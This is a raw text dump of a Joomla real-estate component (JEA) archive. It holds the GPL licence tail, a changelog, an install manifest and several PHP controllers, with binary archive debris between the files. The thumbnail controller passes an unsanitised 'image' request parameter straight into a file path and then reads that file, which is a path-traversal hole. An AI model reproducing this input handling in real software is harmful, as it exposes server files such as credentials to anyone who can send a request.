on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this
License.PKdx�[���I*I*NEWS.txtnu�[���Joomla Estate
Agency News
==================================
RELEASE 3.5.1 / 02-2020=
# Fix date modified when saving property
# Fix property type when saving property
# Fix JeaUpload not found in frontend
# Fix warning in gateway
RELEASE 3.5.0 / 01-2020=
# Include Google map scripts using https
# Remove white spaces in images names
^ Backend enhancements
- Remove Mootools dependencies in frontend
+ Convert frontend scripts with Jquery
^ Ability to override medias (css, js) in template
+ Add Magnific popup gallery option in property view
^ CSS enhancements
RELEASE 3.4.3 / 12-2019=
# Fix gateways bugs
# Fix JEA gateway (import images)
# Fix Recaptcha
RELEASE 3.4.2 / 07-2017=
# Fix gateways bugs
# Fix thumbnails generation
RELEASE 3.4.1 / 05-2017=
# Fix gateways bugs
RELEASE 3.4 / 05-2017=
- Remove Joomla 2.5 support
# Fix pagination bug again
# Fix properties filters
+ Import/Export new implementation
^ Update translations
^ The component follows now the Joomla Coding Standards
# Fix Google map issues
RELEASE 3.3 / 06-2016=
# Fix pagination bug
^ Add a callback to save images
^ Modify how onBeforeSendContactForm is triggered
# Fix upload error on Joomla 3.5
# Fix search order and order direction
RELEASE 3.2 / 08-2014=
# Avoid that Joomla 3.x remove the end hyphen in html select lists
# Fix bug in getUserStateFromRequest method when GET method is used in
search form
^ Add the DPE in the frontend edit form
# Fix default option values in search.js
# Add slashes to Google Map marker's label
^ Add the onBeforeSearch event in the backend
# Fix js bug in searchmap : Since MooTools 1.3 the function $$ does not
accept multiple collections or multiple strings as arguments.
# Fix memory overconsumption with thumbnails generation [#33258]
RELEASE 3.1 / 01-2014=
^ Adding Joomla 3.x compatibility
^ Add search by ID in administrator
# Fix TableProperties for bridge compatibility
# Sort property types in AJAX response
# Fix JS issue with filter on transaction type in geoSearch.js
^ Add two plugin events : onBeforeSaveProperty and onAfterSaveProperty
^ Add a geolocalization plugin
^ Add two orientation options : East-West and North-South
# Fix some issues in import process
# Fix ordering issues
RELEASE 2.30 / 05-2013=
# Fix vertical gallery height
# Fix missing alias in import model
# Fix missing Itemid and properties thumbnails in geolocalized map
# Fix missing Itemid in geolocalized map when SEF is activated in global
configuration
# Fix french translation
# Fix javascript bug in IE versions < 9 in search.js
# Fix wrong parameter in slider module
^ Add new event onBeforeLoadProperty
+ Add Joomfish plugin
# Fix Wrong integer type used for department_id in #__jea_properties table
# Fix two bugs in propertyInterface.php and add orientation
^ Update JEA slider module and slideitmoo.js to have a continuous slide
effect
# Fix toggle publish / unpublish state in administrator properties view
RELEASE 2.21 / 01-2013=
# Fix issue on property list default order set in params
# Fix the upgrade process if the component version is 2.0
# Fix pagination bug on list limit
=RELEASE 2.2 / 01-2013=
+ Add access right management for each property
+ Add a published start / end date for each property
+ Add new parameter "Gallery orientation" to choose between
horizontal or vertical layout in property detail.
^ Change JEA logo
^ Backend : add the configuration button in each tab
# Backend : Fix sort by featured properties
# Fix upload errors not displayed when saving a property
^ Activate relationship between departements/towns/area by default
# Fix assets issue when we duplicate properties
# Fix missing and misspelling translations
# Assign the list limit based on the JEA configuration.
# Fix property hit increment
# Fix issue on list limit with previous and next links in property model.
# Fix page title wrong parameter
^ Add redirect behavior when user is not connected on property form
# Load the Mootools More framework if not already inclued
# Fix issue Google Map not showing with negative values in latitude /
longitude
# Fix issue with search reset
# Fix search issue on orientation filter
=RELEASE 2.1 / 10-2012=
# Fix issue on preselected transaction type in search forms
# Fix Next & Prev not translated in Squeezebox
# Fix missing south orientation and add update schema to the component
# Fix missing hot water type in property model
# Fix IE7 bug with the squeezebox
# Fix inversion in latitude / longitude label in the property form
# Fix missing translations
# Fix missing room parameter in search forms
# Fix Towns not fetched in order
=RELEASE 2.0 / 04-2012=
NOTE : This release works only with Joomla! 2.5.x
What's change :
⋅ Global code rewritting
⋅ Joomfish support removed and using native Joomla language management
⋅ Add new columns in property table : rate_frequency, transaction_type,
bedrooms, floors_number, orientation, modified
. More optimized property gallery management : the thumbnails are generated
on the fly
⋅ Add third party bridge import interface
⋅ Using native Joomla captcha support
⋅ Keep the user search in session
⋅ Remove plugin entry "onInitTableProperty" because table
columns are now automatically loaded
⋅ Rename plugin entry "onBeforeEndPane" to
"onBeforeEndPanels"
⋅ Rename plugin entry "onAfterStartPane" to
"onAfterStartPanels"
⋅ Rename plugin entry "onBeforeSearchQuery" to
"onBeforeSearch"
⋅ Add plugin entry "onBeforeSendContactForm"
⋅ Add plugin entry "onAfterLoadPropertyForm"
=RELEASE 1.1 / 07-2011=
# Fix published state & datetime at new property creation
+ Add feed view
+ Add geolocalization management with google map API V3 (no need API key)
^ Make default order by id ASC in backend
# Fix forgotten word in language files
# Fix bug on deleting secondaries images in frontend
^ Search request optimization
+ Geolocalized Search results on Google map
+ Add deposit field for properties to rent
^ Optionnal relationship between departments / towns / areas
# Fix bug when trying to send mail after a search with the property contact
form
^ Multi-upload for secondaries images
# Fix form reset when there is an error (for new properties)
+ CSV import / export implementation to features lists
# Fix bug [#22784] : Renting/Selling filter renders a blank manage page if
option is selected without any properties
# Limit cross request forgery by adding token checking on contact form
submission and By adding captcha plugin support.
+ Add JEA search plugin (made by David Lozano)
+ Add Captcha plugin for JEA
+ Add 8 plugins events entries : onBeforeEndPane,
onAfterStartPane,
onBeforeShowDescription,
onAfterShowDescription,
onBeforeSaveProperty,
onAfterSaveProperty,
onInitTableProperty,
onBeforeSearchQuery
^ Add relationship between towns and departments on the backend filtering
select lists.
This should improve performances when there is massive load of data in
the towns select list.
# Fix wrong cols name in the orderby param in Config.xml
^ Save sorting state in backend and allow to reorder items only if the
sorting state is 'ordering ASC'
^ Module jea_search and module jea_emphasis update
=RELEASE 1.0 / 04-2010=
^ Update search layout and mod_jea_search with more configuration options
^ Remember the last slider opened in backend edit property form
+ Add new gallery layout with Squeezebox
+ Add more configuration options
^ Sort lists improvements in frontend
+ Add Hit counter on properties
- Remove sh40SEF plugin support
+ Add native SEF routing
+ Add title and description management for properties images (IPTC infos)
+ Add property title and alias (for SEF)
+ Ajaxify dropdown lists (departments, towns, areas) in backend property
form
+ Add relation between departments,towns and areas tables
# Escape address for Google map
# Fix charset in mod_jea_emphasis
+ Add height configuration option for thumbnails generation
+ Add height configuration option for preview picture generation
+ Add crop configuration option for thumbnails generation
^ Natural sort of towns / departments in search listings
# Fix XSS issue in properties contact form
=RELEASE 0.9 / 10-2009=
# Fix bug in properties view.pdf if PHP flag "allow_url_fopen" is
set to 0
+ added possibility to clone properties in backend
# Fix bug with Previous and Next when some features are selected in menu
^ mod_jea_emphasis Joomfish compatibility
=RELEASE 0.8 / 03-2009=
-Fix bug in properties ordering
-Allow specials characters in ref field
-Fix issue about advantages list limited at 20 items
-Add Joomfish areas contentElement
-Some language corrections
-Fix missing Mootools declaration for google map
-Fix PDF issue when property has no picture
-Fix Joomfish missing translations
-Fix bug when adding new property in front
=RELEASE 0.7 / 01-2009=
-Add Google map geolocalisation
-Add Pdf view to properties detail
-Fix bug on room min in advanced search
-Fix translations on administrator component menu
-Fix Missing translations
-Fix various bugs on search results
-Fix pagination bug
=RELEASE 0.6 / 12-2008=
-Fix bug on search pagination
-Add english translation
-Add sh404SEF plugin (site/sef_ext/com_jea)
-Add Joomfish contentElements (admin/joomfish)
-Default email to contact form different than administrator email in
component parameters
-Jea Agents could receive contact form in component parameters
=RELEASE 0.5 / 12-2008=
-Fix bug on image deletion (redirect on blank page)
-Fix bug #10490 Error message when mail function cannot send mail
-Fix bug #13089 on module emphasis (break links)
-Users can manage properties in front-office
=RELEASE 0.4 / 06-2008=
0.4 beta (bugfixes release)
- Fix include path for jea library
- Refix bug #10973 -> Warning: cannot yet handle MBCS in
html_entity_decode()
- Move /components/com_jea/upload to /images/com_jea
- Move /components/com_jea/medias to /medias/com_jea
- Refactor entire code to be more Joomla compliant
- Ordering properties columns in admin
- Checked-out on properties (Avoid conflict between users)
- Fix bug when search reference in administration.
- Fix Ordering bug after search in front
=RELEASE 0.3 / 05-2008=
-fix search bugs
-fix bug on menu parameters
-fix bug [#10973] Warning: cannot yet handle MBCS in html_entity_decode()
with PHP4
-fix bug [#10490] Error message when mail function cannot send mail
=RELEASE 0.2 / 04-2008=
-Fix bug on list limit in front
-Search engine implementation
-Language update
-Refactor some code
-Contact form implementation
-Breadcrumb and title supports
-AJAX search support
=RELEASE 0.1 / 26-mar-2008=
- Initial public code
dropPKdx�[��:y��jea.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension type="component" method="upgrade">
<name>jea</name>
<author>Sylvain Philip</author>
<creationDate>jan 2020</creationDate>
<authorEmail>contact@sphilip.com</authorEmail>
<authorUrl>www.sphilip.com</authorUrl>
<copyright>Copyright (C) PHILIP Sylvain. All rights
reserved.</copyright>
<license>GNU General Public License version 2 or
later</license>
<version>4.0.6</version>
<description>Easy real estate Ads management</description>
<namespace
path="/">sphilip\Component\JEA</namespace>
<!-- Install / Uninstall Database Section -->
<install>
<sql>
<file charset="utf8"
driver="mysql">sql/install.mysql.utf8.sql</file>
</sql>
</install>
<uninstall>
<sql>
<file charset="utf8"
driver="mysql">sql/uninstall.mysql.utf8.sql</file>
</sql>
</uninstall>
<!-- Frontend -->
<files folder="site">
<folder>controllers</folder>
<folder>helpers</folder>
<folder>language</folder>
<folder>models</folder>
<folder>views</folder>
<filename>jea.php</filename>
<filename>router.php</filename>
</files>
<!-- Media files -->
<media destination="com_jea" folder="media" >
<folder>css</folder>
<folder>images</folder>
<folder>js</folder>
</media>
<!-- Backend -->
<administration>
<menu>com_jea</menu>
<submenu>
<menu img="icon"
view="properties">com_jea_properties</menu>
<menu img="icon"
view="features">com_jea_features</menu>
<menu img="icon"
view="tools">com_jea_tools</menu>
<menu img="icon"
view="about">com_jea_about</menu>
</submenu>
<files folder="admin">
<folder>controllers</folder>
<folder>gateways</folder>
<folder>helpers</folder>
<folder>language</folder>
<folder>layouts</folder>
<folder>models</folder>
<folder>sql</folder>
<folder>tables</folder>
<folder>views</folder>
<filename>access.xml</filename>
<filename>config.xml</filename>
<filename>jea.php</filename>
<filename>LICENCE.txt</filename>
<filename>NEWS.txt</filename>
</files>
</administration>
<!-- Updateserver definition -->
<updateservers>
<!-- Note: No spaces or linebreaks allowed between the server tags
-->
<server type="extension" priority="1"
name="JEA Update
Site">http://jea.sphilip.com/update/com_jea.xml</server>
</updateservers>
</extension>
PKK��[E{�''controllers/thumbnail.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Image\Image;
/**
* Thumbnail controller class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerThumbnail extends JControllerLegacy
{
/**
* Create a thumbnail
*
* @return void
*
* @throws Exception
*/
public function create()
{
// @var JApplicationWeb $application
$application = JFactory::getApplication();
$output = '';
$size = $this->input->getCmd('size',
'');
$image = $_REQUEST['image'];
$id = $this->input->getInt('id', 0);
$imagePath = JPATH_ROOT . '/images/com_jea/images/' . $id .
'/' . $image;
$thumbDir = JPATH_ROOT . '/images/com_jea/thumb-' . $size;
$thumbPath = $thumbDir . '/' . $id . '-' . $image;
if (empty($image))
{
throw new RuntimeException('Empty \'image\'
parameter', 500);
}
if (!in_array($size, array('min', 'medium')))
{
throw new RuntimeException('The image size is not recognized',
500);
}
if (file_exists($thumbPath))
{
$output = readfile($thumbPath);
}
elseif (file_exists($imagePath))
{
if (!Folder::exists($thumbPath))
{
Folder::create($thumbDir);
}
$params = JComponentHelper::getParams('com_jea');
if ($size == 'medium')
{
$width = $params->get('thumb_medium_width', 400);
$height = $params->get('thumb_medium_height', 300);
}
else
{
$width = $params->get('thumb_min_width', 120);
$height = $params->get('thumb_min_height', 90);
}
$quality = (int) $params->get('jpg_quality', 90);
$cropThumbnails = (bool) $params->get('crop_thumbnails',
0);
$image = new Image($imagePath);
if ($cropThumbnails)
{
$thumb = $image->resize($width, $height, true,
JImage::SCALE_OUTSIDE);
$left = $thumb->getWidth() > $width ?
intval(($thumb->getWidth() - $width) / 2) : 0;
$top = $thumb->getHeight() > $height ?
intval(($thumb->getHeight() - $height) / 2) : 0;
$thumb->crop($width, $height, $left, $top, false);
}
else
{
$thumb = $image->resize($width, $height);
}
$thumb->toFile($thumbPath, IMAGETYPE_JPEG, array('quality'
=> $quality));
$output = readfile($thumbPath);
}
else
{
throw new RuntimeException('The image ' . $image . ' was
not found', 500);
}
$application->setHeader('Content-Type',
'image/jpeg', true);
$application->setHeader('Content-Transfer-Encoding',
'binary', true);
$application->sendHeaders();
echo $output;
$application->close();
}
}
PKK��[�۴�
controllers/properties.xml.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Properties xml controller class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerProperties extends JControllerLegacy
{
/**
* Generate KML
*
* @return void
*/
public function kml()
{
$app = JFactory::getApplication();
$Itemid = $app->input->getInt('Itemid', 0);
$model = $this->getModel('Properties', 'JeaModel',
array('ignore_request' => true));
$filters = array_keys($model->getFilters());
// Set the Model state
foreach ($filters as $filter)
{
$model->setState('filter.' . $filter,
$app->input->get('filter_' . $filter, null,
'default'));
}
// Deactivate pagination
$model->setState('list.start', 0);
$model->setState('list.limit', 0);
// Set language state
$model->setState('filter.language',
$app->getLanguageFilter());
$items = $model->getItems();
$doc = new DomDocument;
$kmlNode = $doc->createElement('kml');
$kmlNode->setAttribute('xmlns',
'http://www.opengis.net/kml/2.2');
$documentNode = $doc->createElement('Document');
foreach ($items as $row)
{
if (abs($row->latitude) > 0 && abs($row->longitude)
> 0)
{
$placemarkNode = $doc->createElement('Placemark');
$nameNode = $doc->createElement('name');
$descrNode = $doc->createElement('description');
$pointNode = $doc->createElement('Point');
/*
*
Http://code.google.com/intl/fr/apis/kml/documentation/kml_tut.html#placemarks
* (longitude, latitude, and optional altitude)
*/
$coordinates = $row->longitude . ',' . $row->latitude .
',0.000000';
$coordsNode = $doc->createElement('coordinates',
$coordinates);
$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;
$url =
JRoute::_('index.php?option=com_jea&view=property&id=' .
$row->slug . '&Itemid=' . $Itemid);
if (empty($row->title))
{
$name =
ucfirst(JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$row->type, $row->town));
}
else
{
$name = $row->title;
}
$description = '<div
style="clear:both"></div>';
$images = json_decode($row->images);
$image = null;
if (! empty($images) && is_array($images))
{
$image = array_shift($images);
$imagePath = JPATH_ROOT . '/images/com_jea';
$imageUrl = '';
if (file_exists($imagePath . '/thumb-min/' . $row->id .
'-' . $image->name))
{
// If the thumbnail already exists, display it directly
$baseURL = JURI::root(true);
$imageUrl = $baseURL . '/images/com_jea/thumb-min/' .
$row->id . '-' . $image->name;
}
elseif (file_exists($imagePath . '/images/' . $row->id .
'/' . $image->name))
{
// If the thumbnail doesn't exist, generate it and output it on
the fly
$url =
'index.php?option=com_jea&task=thumbnail.create&size=min&id='
. $row->id . '&image=' . $image->name;
$imageUrl = JRoute::_($url);
}
$description .= '<img src="' . $imageUrl .
'" alt="' . $image->name . '.jpg"
style="float:left;margin-right:10px" />';
}
$description .= substr(strip_tags($row->description), 0, 255)
. ' ...<p><a href="' . $url .
'">' . JText::_('COM_JEA_DETAIL')
. '</a></p><div
style="clear:both"></div>';
$nameCDATA = $doc->createCDATASection($name);
$descriptionCDATA = $doc->createCDATASection($description);
$nameNode->appendChild($nameCDATA);
$descrNode->appendChild($descriptionCDATA);
$pointNode->appendChild($coordsNode);
$placemarkNode->appendChild($nameNode);
$placemarkNode->appendChild($descrNode);
$placemarkNode->appendChild($pointNode);
$documentNode->appendChild($placemarkNode);
}
}
$kmlNode->appendChild($documentNode);
$doc->appendChild($kmlNode);
echo $doc->saveXML();
}
}
PKK��[�Q���controllers/properties.json.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Properties controller class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerProperties extends JControllerLegacy
{
/**
* Search action
*
* @return void
*/
public function search()
{
$app = JFactory::getApplication();
$model = $this->getModel();
$filters = array_keys($model->getFilters());
// Set the Model state
foreach ($filters as $filter)
{
$model->setState('filter.' . $filter,
$app->input->get('filter_' . $filter, null,
'default'));
}
// Deactivate pagination
$model->setState('list.start', 0);
$model->setState('list.limit', 0);
// Set language state
$model->setState('filter.language',
$app->getLanguageFilter());
$items = $model->getItems();
$result = array();
$result['total'] = count($items);
if (JDEBUG)
{
$result['query'] = (string) JFactory::getDbo()->getQuery();
}
$result['types'] = array();
$result['towns'] = array();
$result['departments'] = array();
$result['areas'] = array();
$temp = array();
$temp['types'] = array();
$temp['towns'] = array();
$temp['departments'] = array();
$temp['areas'] = array();
foreach ($items as $row)
{
if ($row->type_id && !
isset($temp['types'][$row->type_id]))
{
$result['types'][] = array('value' =>
$row->type_id, 'text' => $row->type);
$temp['types'][$row->type_id] = true;
}
if ($row->town_id && !
isset($temp['towns'][$row->town_id]))
{
$result['towns'][] = array('value' =>
$row->town_id, 'text' => $row->town);
$temp['towns'][$row->town_id] = true;
}
if ($row->department_id && !
isset($temp['departments'][$row->department_id]))
{
$result['departments'][] = array('value' =>
$row->department_id, 'text' => $row->department);
$temp['departments'][$row->department_id] = true;
}
if ($row->area_id && !
isset($temp['areas'][$row->area_id]))
{
$result['areas'][] = array('value' =>
$row->area_id, 'text' => $row->area);
$temp['areas'][$row->area_id] = true;
}
}
// TODO: User preference : Alpha ou order
if (isset($result['types']))
{
usort($result['types'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
}
if (isset($result['departments']))
{
usort($result['departments'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
}
if (isset($result['towns']))
{
usort($result['towns'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
}
if (isset($result['areas']))
{
usort($result['areas'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
}
echo json_encode($result);
}
/**
* Sort method for usort
*
* @param array $arg1 Sort data 1
* @param array $arg2 Sort data 2
*
* @return number
*/
public function _ajaxAlphaSort(&$arg1, &$arg2)
{
$val1 = strtolower($arg1['text']);
$val2 = strtolower($arg2['text']);
return strnatcmp($val1, $val2);
}
/**
* Overrides parent method.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JeaModelProperties|boolean Model object on success; otherwise
false on failure.
*
* @see JControllerLegacy::getModel()
*/
public function getModel($name = 'Properties', $prefix =
'JeaModel', $config = array('ignore_request' =>
true))
{
$model = parent::getModel($name, $prefix, $config);
return $model;
}
}
PKK��[w�[controllers/default.feed.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Default feed controller class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerDefault extends JControllerLegacy
{
/**
* The default view for the display method.
*
* @var string
*/
protected $default_view = 'properties';
}
PKK��[o7��
�
helpers/html/utility.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Jea Utility helper
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
abstract class JHtmlUtility
{
/**
* @var Joomla\Registry\Registry
*/
protected static $params = null;
/**
* Format price following the component configuration.
* If price is empty, return a default string value.
*
* @param float|int $price The price as number
* @param string $default Default value if price equals 0
*
* @return string
*/
public static function formatPrice($price = 0, $default = '')
{
$params = self::getParams();
if (! empty($price))
{
$currency_symbol = $params->get('currency_symbol',
'€');
$price = self::formaNumber($price);
// Is currency symbol before or after price ?
if ($params->get('symbol_position', 1))
{
$price = $price . ' ' . $currency_symbol;
}
else
{
$price = $currency_symbol . ' ' . $price;
}
return $price;
}
else
{
return $default;
}
}
/**
* Format surface following the component configuration.
* If surface is empty, return a default string value.
*
* @param float|int $surface The surface as number
* @param string $default Default value if surface equals 0
*
* @return string
*/
public static function formatSurface($surface = 0, $default =
'')
{
$params = self::getParams();
if (!empty($surface))
{
$surfaceMeasure = $params->get('surface_measure',
'm²');
$surface = self::formaNumber($surface);
return $surface . ' ' . $surfaceMeasure;
}
return $default;
}
/**
* Format number following the component configuration.
*
* @param float|int $number The number to format
*
* @return string
*/
public static function formaNumber($number = O)
{
$params = self::getParams();
$number = (float) $number;
$decimal_separator = $params->get('decimals_separator',
',');
$thousands_separator = $params->get('thousands_separator',
' ');
$decimals = (int) $params->get('decimals_number',
'0');
return number_format($number, $decimals, $decimal_separator,
$thousands_separator);
}
/**
* Get JEA params
*
* @return Joomla\Registry\Registry
*/
protected static function getParams()
{
if (self::$params == null)
{
self::$params = JComponentHelper::getParams('com_jea');
}
return self::$params;
}
}
PKK��[6����helpers/html/amenities.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
